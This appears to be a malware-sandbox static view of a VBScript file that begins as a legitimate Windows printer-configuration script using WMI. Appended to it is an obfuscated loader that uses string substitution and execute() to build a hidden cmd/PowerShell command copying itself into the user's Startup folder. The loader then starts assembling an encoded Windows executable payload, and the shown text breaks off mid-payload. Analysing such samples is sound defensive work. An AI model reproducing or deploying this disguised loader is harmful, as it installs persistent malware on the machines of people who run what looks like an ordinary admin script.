Static | ZeroBOX

' Rename printer

function RenamePrinter(oParamDict)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text

DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)

DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)

DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName)

dim oPrinter

dim oService

dim iRetval

dim uResult

dim strServer

dim strPrinter

dim strNewName

dim strUser

dim strPassword

iRetval = kErrorFailure

strServer = oParamDict.Item(kServerName)

strPrinter = oParamDict.Item(kPrinterName)

strNewName = oParamDict.Item(kNewPrinterName)

strUser = oParamDict.Item(kUserName)

strPassword = oParamDict.Item(kPassword)

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")

else

RenamePrinter = kErrorFailure

exit function

end if

' Check if Get was successful

if Err.Number = kErrorSuccess then

uResult = oPrinter.RenamePrinter(strNewName)

if Err.Number = kErrorSuccess then

if uResult = kErrorSuccess then

wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter

wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strNewName

iRetval = kErrorSuccess

else

wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _

& L_Text_Error_General03_Text & L_Space_Text & uResult

end if

else

wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

end if

else

wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

' Try getting extended error information

call LastError()

end if

RenamePrinter = iRetval

end function

' Get printer configuration

function GetPrinter(oParamDict)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text

DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)

DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)

dim oPrinter

dim oService

dim iRetval

dim uResult

dim strServer

dim strPrinter

dim strAttributes

dim strStart

dim strEnd

dim strUser

dim strPassword

iRetval = kErrorFailure

strServer = oParamDict.Item(kServerName)

strPrinter = oParamDict.Item(kPrinterName)

strUser = oParamDict.Item(kUserName)

strPassword = oParamDict.Item(kPassword)

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")

else

GetPrinter = kErrorFailure

exit function

end if

' Check if Get was successful

if Err.Number = kErrorSuccess then

wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer

wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID

wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName

wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName

wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName

wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment

wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location

wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SeparatorFile

wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor

wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDatatype

wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters

wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CStr(oPrinter.Priority)

wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)

strStart = Mid(CStr(oPrinter.StartTime), 9, 4)

strEnd = Mid(CStr(oPrinter.UntilTime), 9, 4)

if strStart <> "" and strEnd <> "" then

wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)

wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)

else

wscript.echo L_Text_Msg_General05_Text

end if

strAttributes = L_Text_Msg_Printer12_Text

if oPrinter.Direct then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib01_Text

end if

if oPrinter.RawOnly then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib02_Text

end if

if oPrinter.Local then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib03_Text

end if

if oPrinter.Shared then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib04_Text

end if

if oPrinter.KeepPrintedJobs then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib05_Text

end if

if oPrinter.Published then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib06_Text

end if

if oPrinter.Queued then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib07_Text

end if

if oPrinter.Default then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib08_Text

end if

if oPrinter.Network then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib09_Text

end if

if oPrinter.EnableBiDi then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib10_Text

end if

if oPrinter.DoCompleteFirst then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib11_Text

end if

if oPrinter.WorkOffline then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib12_Text

end if

if oPrinter.Hidden then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib13_Text

end if

if oPrinter.EnableDevQueryPrint then

strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib14_Text

end if

wscript.echo strAttributes

wscript.echo

wscript.echo L_Text_Msg_General10_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)

wscript.echo L_Text_Msg_General11_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)

wscript.echo L_Text_Msg_General12_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)

wscript.echo L_Text_Msg_General13_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)

iRetval = kErrorSuccess

else

wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oParamDict.Item(kPrinterName) & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

' Try getting extended error information

call LastError()

end if

GetPrinter = iRetval

end function

' Configure a printer

function SetPrinter(oParamDict)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text

DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)

DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)

dim oPrinter

dim oService

dim iRetval

dim uResult

dim strServer

dim strPrinter

dim strUser

dim strPassword

iRetval = kErrorFailure

strServer = oParamDict.Item(kServerName)

strPrinter = oParamDict.Item(kPrinterName)

strNewName = oParamDict.Item(kNewPrinterName)

strUser = oParamDict.Item(kUserName)

strPassword = oParamDict.Item(kPassword)

if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then

set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")

else

SetPrinter = kErrorFailure

exit function

end if

' Check if Get was successful

if Err.Number = kErrorSuccess then

if oParamdict.Exists(kPortName) then oPrinter.PortName = oParamDict.Item(kPortName) end if

if oParamdict.Exists(kDriverName) then oPrinter.DriverName = oParamDict.Item(kDriverName) end if

if oParamdict.Exists(kShareName) then oPrinter.ShareName = oParamDict.Item(kShareName) end if

if oParamdict.Exists(kLocation) then oPrinter.Location = oParamDict.Item(kLocation) end if

if oParamdict.Exists(kComment) then oPrinter.Comment = oParamDict.Item(kComment) end if

if oParamdict.Exists(kDataType) then oPrinter.PrintJobDataType = oParamDict.Item(kDataType) end if

if oParamdict.Exists(kSepFile) then oPrinter.SeparatorFile = oParamDict.Item(kSepfile) end if

if oParamdict.Exists(kParameters) then oPrinter.Parameters = oParamDict.Item(kParameters) end if

if oParamdict.Exists(kPriority) then oPrinter.Priority = oParamDict.Item(kPriority) end if

if oParamdict.Exists(kDefaultPriority) then oPrinter.DefaultPriority = oParamDict.Item(kDefaultPriority) end if

if oParamdict.Exists(kPrintProc) then oPrinter.PrintProc = oParamDict.Item(kPrintProc) end if

if oParamdict.Exists(kStartTime) then oPrinter.StartTime = oParamDict.Item(kStartTime) end if

if oParamdict.Exists(kUntilTime) then oPrinter.UntilTime = oParamDict.Item(kUntilTime) end if

if oParamdict.Exists(kQueued) then oPrinter.Queued = oParamDict.Item(kQueued) end if

if oParamdict.Exists(kDirect) then oPrinter.Direct = oParamDict.Item(kDirect) end if

if oParamdict.Exists(kShared) then oPrinter.Shared = oParamDict.Item(kShared) end if

if oParamdict.Exists(kHidden) then oPrinter.Hidden = oParamDict.Item(kHidden) end if

if oParamdict.Exists(kEnabledevq) then oPrinter.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if

if oParamdict.Exists(kKeepPrintedJobs) then oPrinter.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if

if oParamdict.Exists(kDoCompleteFirst) then oPrinter.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if

if oParamdict.Exists(kWorkOffline) then oPrinter.WorkOffline = oParamDict.Item(kWorkOffline) end if

if oParamdict.Exists(kEnableBidi) then oPrinter.EnableBidi = oParamDict.Item(kEnableBidi) end if

if oParamdict.Exists(kRawonly) then oPrinter.RawOnly = oParamDict.Item(kRawonly) end if

if oParamdict.Exists(kPublished) then oPrinter.Published = oParamDict.Item(kPublished) end if

oPrinter.Put_(kFlagUpdateOnly)

if Err.Number = kErrorSuccess then

wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter

iRetval = kErrorSuccess

else

wscript.echo L_Text_Msg_General07_Text & L_Space_Text & strPrinter & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

' Try getting extended error information

call LastError()

end if

else

wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

' Try getting extended error information

call LastError()

end if

SetPrinter = iRetval

end function

' Converts the printer status to a string

function PrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1

str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2

str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 3

str = str + L_Text_Msg_Status03_Text + L_Space_Text

case 4

str = str + L_Text_Msg_Status04_Text + L_Space_Text

case 5

str = str + L_Text_Msg_Status05_Text + L_Space_Text

case 6

str = str + L_Text_Msg_Status06_Text + L_Space_Text

case 7

str = str + L_Text_Msg_Status07_Text + L_Space_Text

end select

PrnStatusToString = str

end function

' Converts the extended printer status to a string

function ExtPrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1

str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2

str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 3

str = str + L_Text_Msg_Status03_Text + L_Space_Text

case 4

str = str + L_Text_Msg_Status04_Text + L_Space_Text

case 5

str = str + L_Text_Msg_Status05_Text + L_Space_Text

case 6

str = str + L_Text_Msg_Status06_Text + L_Space_Text

case 7

str = str + L_Text_Msg_Status07_Text + L_Space_Text

case 8

str = str + L_Text_Msg_Status08_Text + L_Space_Text

case 9

str = str + L_Text_Msg_Status09_Text + L_Space_Text

case 10

str = str + L_Text_Msg_Status10_Text + L_Space_Text

case 11

str = str + L_Text_Msg_Status11_Text + L_Space_Text

case 12

str = str + L_Text_Msg_Status12_Text + L_Space_Text

case 13

str = str + L_Text_Msg_Status13_Text + L_Space_Text

case 14

str = str + L_Text_Msg_Status14_Text + L_Space_Text

case 15

str = str + L_Text_Msg_Status15_Text + L_Space_Text

case 16

str = str + L_Text_Msg_Status16_Text + L_Space_Text

case 17

str = str + L_Text_Msg_Status17_Text + L_Space_Text

case 18

str = str + L_Text_Msg_Status18_Text + L_Space_Text

end select

ExtPrnStatusToString = str

end function

' Converts the detected error state to a string

function DetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0

str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 1

str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2

str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 3

str = str + L_Text_Msg_Status20_Text + L_Space_Text

case 4

str = str + L_Text_Msg_Status21_Text + L_Space_Text

case 5

str = str + L_Text_Msg_Status22_Text + L_Space_Text

case 6

str = str + L_Text_Msg_Status23_Text + L_Space_Text

case 7

str = str + L_Text_Msg_Status24_Text + L_Space_Text

case 8

str = str + L_Text_Msg_Status25_Text + L_Space_Text

case 9

str = str + L_Text_Msg_Status07_Text + L_Space_Text

case 10

str = str + L_Text_Msg_Status26_Text + L_Space_Text

case 11

str = str + L_Text_Msg_Status27_Text + L_Space_Text

end select

DetectedErrorStateToString = str

end function

' Converts the extended detected error state to a string

function ExtDetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0

str = str + L_Text_Msg_Status02_Text + L_Space_Text

case 1

str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 2

str = str + L_Text_Msg_Status01_Text + L_Space_Text

case 3

str = str + L_Text_Msg_Status20_Text + L_Space_Text

case 4

str = str + L_Text_Msg_Status21_Text + L_Space_Text

case 5

str = str + L_Text_Msg_Status22_Text + L_Space_Text

case 6

str = str + L_Text_Msg_Status23_Text + L_Space_Text

case 7

str = str + L_Text_Msg_Status24_Text + L_Space_Text

case 8

str = str + L_Text_Msg_Status25_Text + L_Space_Text

case 9

str = str + L_Text_Msg_Status07_Text + L_Space_Text

case 10

str = str + L_Text_Msg_Status26_Text + L_Space_Text

case 11

str = str + L_Text_Msg_Status27_Text + L_Space_Text

case 12

str = str + L_Text_Msg_Status28_Text + L_Space_Text

case 13

str = str + L_Text_Msg_Status29_Text + L_Space_Text

case 14

str = str + L_Text_Msg_Status30_Text + L_Space_Text

case 15

str = str + L_Text_Msg_Status31_Text + L_Space_Text

case 16

str = str + L_Text_Msg_Status32_Text + L_Space_Text

end select

ExtDetectedErrorStateToString = str

end function

' Debug display helper function

sub DebugPrint(uFlags, strString)

if gDebugFlag = true then

if uFlags = kDebugTrace then

wscript.echo L_Debug_Text & L_Space_Text & strString

end if

if uFlags = kDebugError then

if Err <> 0 then

wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _

& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _

& L_Space_Text & Err.Description

end if

end sub

' Parse the command line into its components

function ParseCommandLine(iAction, oParamdict)

on error resume next

DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text

dim oArgs

dim iIndex

iAction = kActionUnknown

iIndex = 0

set oArgs = wscript.Arguments

while iIndex < oArgs.Count

select case oArgs(iIndex)

case "-g"

iAction = kActionGet

case "-t"

iAction = kActionSet

case "-x"

iAction = kActionRename

case "-p"

iIndex = iIndex + 1

oParamdict.Add kPrinterName, oArgs(iIndex)

case "-s"

iIndex = iIndex + 1

oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex))

case "-r"

iIndex = iIndex + 1

oParamdict.Add kPortName, oArgs(iIndex)

case "-h"

iIndex = iIndex + 1

oParamdict.Add kShareName, oArgs(iIndex)

case "-m"

iIndex = iIndex + 1

oParamdict.Add kComment, oArgs(iIndex)

case "-l"

iIndex = iIndex + 1

oParamdict.Add kLocation, oArgs(iIndex)

case "-y"

iIndex = iIndex + 1

oParamdict.Add kDataType, oArgs(iIndex)

case "-f"

iIndex = iIndex + 1

oParamdict.Add kSepFile, oArgs(iIndex)

case "-z"

iIndex = iIndex + 1

oParamdict.Add kNewPrinterName, oArgs(iIndex)

case "-u"

iIndex = iIndex + 1

oParamdict.Add kUserName, oArgs(iIndex)

case "-w"

iIndex = iIndex + 1

oParamdict.Add kPassword, oArgs(iIndex)

case "-st"

iIndex = iIndex + 1

oParamdict.Add kStartTime, "********" & oArgs(iIndex) & "00.000000+000"

case "-o"

iIndex = iIndex + 1

oParamdict.Add kPriority, oArgs(iIndex)

case "-i"

iIndex = iIndex + 1

oParamdict.Add kDefaultPriority, oArgs(iIndex)

case "-ut"

iIndex = iIndex + 1

oParamdict.Add kUntilTime, "********" & oArgs(iIndex) & "00.000000+000"

case "-queued"

oParamdict.Add kQueued, false

case "+queued"

oParamdict.Add kQueued, true

case "-direct"

oParamdict.Add kDirect, false

case "+direct"

oParamdict.Add kDirect, true

case "-shared"

oParamdict.Add kShared, false

case "+shared"

oParamdict.Add kShared, true

case "-hidden"

oParamdict.Add kHidden, false

case "+hidden"

oParamdict.Add kHidden, true

case "-enabledevq"

oParamdict.Add kEnabledevq, false

case "+enabledevq"

oParamdict.Add kEnabledevq, true

case "-keepprintedjobs"

oParamdict.Add kKeepprintedjobs, false

case "+keepprintedjobs"

oParamdict.Add kKeepprintedjobs, true

case "-docompletefirst"

oParamdict.Add kDocompletefirst, false

case "+docompletefirst"

oParamdict.Add kDocompletefirst, true

case "-workoffline"

oParamdict.Add kWorkoffline, false

case "+workoffline"

oParamdict.Add kWorkoffline, true

case "-enablebidi"

oParamdict.Add kEnablebidi, false

case "+enablebidi"

oParamdict.Add kEnablebidi, true

case "-rawonly"

oParamdict.Add kRawonly, false

case "+rawonly"

oParamdict.Add kRawonly, true

case "-published"

oParamdict.Add kPublished, false

case "+published"

oParamdict.Add kPublished, true

case "-?"

Usage(true)

exit function

case else

Usage(true)

exit function

end select

iIndex = iIndex + 1

wend

if Err = kErrorSuccess then

ParseCommandLine = kErrorSuccess

else

wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _

& L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description

ParseCommandLine = kErrorFailure

end if

end function

' Display command usage.

sub Usage(bExit)

wscript.echo L_Help_Help_General01_Text

wscript.echo L_Help_Help_General02_Text

wscript.echo L_Help_Help_General03_Text

wscript.echo L_Help_Help_General04_Text

wscript.echo L_Help_Help_General05_Text

wscript.echo L_Help_Help_General06_Text

wscript.echo L_Help_Help_General07_Text

wscript.echo L_Help_Help_General08_Text

wscript.echo L_Help_Help_General09_Text

wscript.echo L_Help_Help_General10_Text

wscript.echo L_Help_Help_General11_Text

wscript.echo L_Help_Help_General12_Text

wscript.echo L_Help_Help_General13_Text

wscript.echo L_Help_Help_General14_Text

wscript.echo L_Help_Help_General15_Text

wscript.echo L_Help_Help_General16_Text

wscript.echo L_Help_Help_General17_Text

wscript.echo L_Help_Help_General18_Text

wscript.echo L_Help_Help_General19_Text

wscript.echo L_Help_Help_General20_Text

wscript.echo L_Help_Help_General21_Text

wscript.echo L_Help_Help_General22_Text

wscript.echo L_Help_Help_General23_Text

wscript.echo L_Help_Help_General24_Text

wscript.echo L_Help_Help_General25_Text

wscript.echo L_Help_Help_General26_Text

wscript.echo L_Help_Help_General27_Text

wscript.echo L_Empty_Text

wscript.echo L_Help_Help_General28_Text

wscript.echo L_Help_Help_General29_Text

wscript.echo L_Help_Help_General30_Text

wscript.echo L_Help_Help_General31_Text

wscript.echo L_Help_Help_General32_Text

wscript.echo L_Help_Help_General33_Text

wscript.echo L_Help_Help_General34_Text

wscript.echo L_Help_Help_General35_Text

if bExit then

wscript.quit(1)

end if

end sub

' Determines which program is being used to run this script.

' Returns true if the script host is cscript.exe

function IsHostCscript()

on error resume next

dim strFullName

dim strCommand

dim i, j

dim bReturn

bReturn = false

strFullName = WScript.FullName

i = InStr(1, strFullName, ".exe", 1)

if i <> 0 then

j = InStrRev(strFullName, "\", i, 1)

if j <> 0 then

strCommand = Mid(strFullName, j+1, i-j-1)

if LCase(strCommand) = "cscript" then

bReturn = true

end if

if Err <> 0 then

wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _

& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description

end if

IsHostCscript = bReturn

end function

' Retrieves extended information about the last error that occurred

' during a WBEM operation. The methods that set an SWbemLastError

' object are GetObject, PutInstance, DeleteInstance

sub LastError()

on error resume next

dim oError

set oError = CreateObject("WbemScripting.SWbemLastError")

if Err = kErrorSuccess then

wscript.echo L_Operation_Text & L_Space_Text & oError.Operation

wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName

wscript.echo L_Description_Text & L_Space_Text & oError.Description

wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode

end if

end sub

' Connects to the WMI service on a server. oService is returned as a service

' object (SWbemServices)

function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)

on error resume next

dim oLocator

dim bResult

oService = null

bResult = false

set oLocator = CreateObject("WbemScripting.SWbemLocator")

if Err = kErrorSuccess then

set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)

if Err = kErrorSuccess then

bResult = true

oService.Security_.impersonationlevel = 3

' Required to perform administrative tasks on the spooler service

oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"

Err.Clear

else

wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _

& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

end if

else

wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _

& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _

& Err.Description

end if

WmiConnect = bResult

end function

' Remove leading "\\" from server name

function RemoveBackslashes(strServer)

dim strRet

strRet = strServer

if Left(strServer, 2) = "\\" and Len(strServer) > 2 then

strRet = Mid(strServer, 3)

end if

RemoveBackslashes = strRet

end function

Function NRWwHxTQSOeDdKQScOmX(dJtSNqODmLooRKBOwGKG, find, kRyUgyalWuyIcNizoBXt)

Dim parts

parts = Split(dJtSNqODmLooRKBOwGKG, find)

NRWwHxTQSOeDdKQScOmX = Join(parts, kRyUgyalWuyIcNizoBXt)

End Function

On Error Resume Next

dim hoYLOqLkctiIjJODqUjT, yzPqtZaUYyvOHLYUyIDN, KPZXPwYPWiUfgdfdKuhf

yzPqtZaUYyvOHLYUyIDN = "puc

JUm&(rac

JUm&(S"

yzPqtZaUYyvOHLYUyIDN = NRWwHxTQSOeDdKQScOmX(yzPqtZaUYyvOHLYUyIDN,"c

JUm&(","t")

yzPqtZaUYyvOHLYUyIDN = WuNUYSLvaKNUDPrUUpPW(yzPqtZaUYyvOHLYUyIDN)

Set vezTDKJaGUUivccgkTnd = CreateObject("WScript.Shell")

Set UkJJMkjQAdWmutkcwWjU = CreateObject("Scripting.FileSystemObject")

TpoxroNKyWntQctOcMgo = vezTDKJaGUUivccgkTnd.CurrentDirectory & "\" & WScript.ScriptName

WTOmAONdJlADcNbfNNhO = UkJJMkjQAdWmutkcwWjU.GetParentFolderName(TpoxroNKyWntQctOcMgo) & "\" & UkJJMkjQAdWmutkcwWjU.GetFileName(WScript.ScriptName)

hoYLOqLkctiIjJODqUjT = WTOmAONdJlADcNbfNNhO

yzPqtZaUYyvOHLYUyIDN = cOhqWJTWngiGXAzXcGUN(hoYLOqLkctiIjJODqUjT + "%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(::%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(:%)$)#@7&!(4)1+###$!(" , yzPqtZaUYyvOHLYUyIDN)

KPZXPwYPWiUfgdfdKuhf = "wIz"

Dim cxDcGDxQiecWMHGvHLLe

cxDcGDxQiecWMHGvHLLe = True

BOARRACdJnpiINcPNMfA(cxDcGDxQiecWMHGvHLLe)

Sub BOARRACdJnpiINcPNMfA(cGCZMCjHUxNYcZqGZWST)

If cGCZMCjHUxNYcZqGZWST Then

BWhQTUcRBOKTmMcCwxWQ

Else

DoNothing

End If

End Sub

Sub BWhQTUcRBOKTmMcCwxWQ

Set LDLUetBfTntQKhMGLNGg = CreateObject ("Wscript.Shell")

dim oaWDOcjoKOhaLYooYwap, UGYOJVMMXGROTEYIHWKQ, FGWNLVNBNYGIXDGKCDOB

oaWDOcjoKOhaLYooYwap = ")'sbv." + KPZXPwYPWiUfgdfdKuhf + " \putratS\smargorP\uneM"

oaWDOcjoKOhaLYooYwap = oaWDOcjoKOhaLYooYwap + " tratS\swodniW\tfosorciM\gnimaoR\ataDppA\'"

oaWDOcjoKOhaLYooYwap = nWLgApGWokcnWSaaWNng(oaWDOcjoKOhaLYooYwap,"

UGYOJVMMXGROTEYIHWKQ = "[System.I"

UGYOJVMMXGROTEYIHWKQ = UGYOJVMMXGROTEYIHWKQ + "O.File]::Copy('"

UGYOJVMMXGROTEYIHWKQ = UGYOJVMMXGROTEYIHWKQ + hoYLOqLkctiIjJODqUjT + "',"

UGYOJVMMXGROTEYIHWKQ = UGYOJVMMXGROTEYIHWKQ + "'C:\Users\' + [Environment]::UserName + "

UGYOJVMMXGROTEYIHWKQ = UGYOJVMMXGROTEYIHWKQ + WuNUYSLvaKNUDPrUUpPW(oaWDOcjoKOhaLYooYwap)

UGYOJVMMXGROTEYIHWKQ = nWLgApGWokcnWSaaWNng(UGYOJVMMXGROTEYIHWKQ, WuNUYSLvaKNUDPrUUpPW("

") ,"")

FGWNLVNBNYGIXDGKCDOB = ("cmd.exe /c ping 127.0.0.1 -n 10 & powershell -comc

JUm&(and " + UGYOJVMMXGROTEYIHWKQ )

FGWNLVNBNYGIXDGKCDOB = NRWwHxTQSOeDdKQScOmX(FGWNLVNBNYGIXDGKCDOB,"c

JUm&(","m")

LDLUetBfTntQKhMGLNGg.run FGWNLVNBNYGIXDGKCDOB, 0, true

End Sub

Function cOhqWJTWngiGXAzXcGUN(HyRTOKOkscwtGWYGHKyp,jJSNXGUboOoloyOkbBQN)

dim qPAOgZPcCHwPcPCIcawO

qPAOgZPcCHwPcPCIcawO = "cOhqWJTWngiGXAzXcGUN = "

qPAOgZPcCHwPcPCIcawO = qPAOgZPcCHwPcPCIcawO + "Inc

JUm&(tr(HyRTOKOkscwtGWYGHKyp, jJSNXGUboOoloyOkbBQN)"

qPAOgZPcCHwPcPCIcawO = NRWwHxTQSOeDdKQScOmX(qPAOgZPcCHwPcPCIcawO,"c

JUm&(","S")

execute(qPAOgZPcCHwPcPCIcawO)

End Function

Function nWLgApGWokcnWSaaWNng(HyRTOKOkscwtGWYGHKyp,jJSNXGUboOoloyOkbBQN,byjgNBKUMDtiLccUgWcq)

dim qPAOgZPcCHwPcPCIcawO

qPAOgZPcCHwPcPCIcawO = "nWLgApGWokcnWSaaWNng = "

qPAOgZPcCHwPcPCIcawO = qPAOgZPcCHwPcPCIcawO + "Rc

JUm&(placc

JUm&("

qPAOgZPcCHwPcPCIcawO = NRWwHxTQSOeDdKQScOmX(qPAOgZPcCHwPcPCIcawO,"c

JUm&(","e")

qPAOgZPcCHwPcPCIcawO = qPAOgZPcCHwPcPCIcawO + "(HyRTOKOkscwtGWYGHKyp ,jJSNXGUboOoloyOkbBQN, byjgNBKUMDtiLccUgWcq)"

execute(qPAOgZPcCHwPcPCIcawO)

End Function

Function WuNUYSLvaKNUDPrUUpPW(HyRTOKOkscwtGWYGHKyp)

dim qPAOgZPcCHwPcPCIcawO

qPAOgZPcCHwPcPCIcawO = "WuNUYSLvaKNUDPrUUpPW = "

qPAOgZPcCHwPcPCIcawO = qPAOgZPcCHwPcPCIcawO + "StrRc

JUm&(vc

JUm&(rsc

JUm&("

qPAOgZPcCHwPcPCIcawO = NRWwHxTQSOeDdKQScOmX(qPAOgZPcCHwPcPCIcawO,"c

JUm&(","e")

qPAOgZPcCHwPcPCIcawO = qPAOgZPcCHwPcPCIcawO + "(HyRTOKOkscwtGWYGHKyp)"

execute(qPAOgZPcCHwPcPCIcawO)

End Function

CFUFPLEXTMWOQPABBXAY = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)

Set sRITPBWHKZaUBPcROGOcDGKZWCJNNPEFLRM = WScript.CreateObject(CFUFPLEXTMWOQPABBXAY)

Dim mkrHQpXUPtKKhGPKHpmb

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "TVqQ##@@$%###@@$%#M#"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "#@@$%###@@$%###@@$%#"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "##@@$%#E##@@$%###@@$"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "%###@@$%###@@$%#//8#"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "#@@$%###@@$%#Lg##@@$"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "%###@@$%###@@$%###@@"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "$%###@@$%###@@$%###@"

mkrHQpXUPtKKhGPKHpmb = mkrHQpXUPtKKhGPKHpmb & "@$%###@@$%###@@$%#Q#"

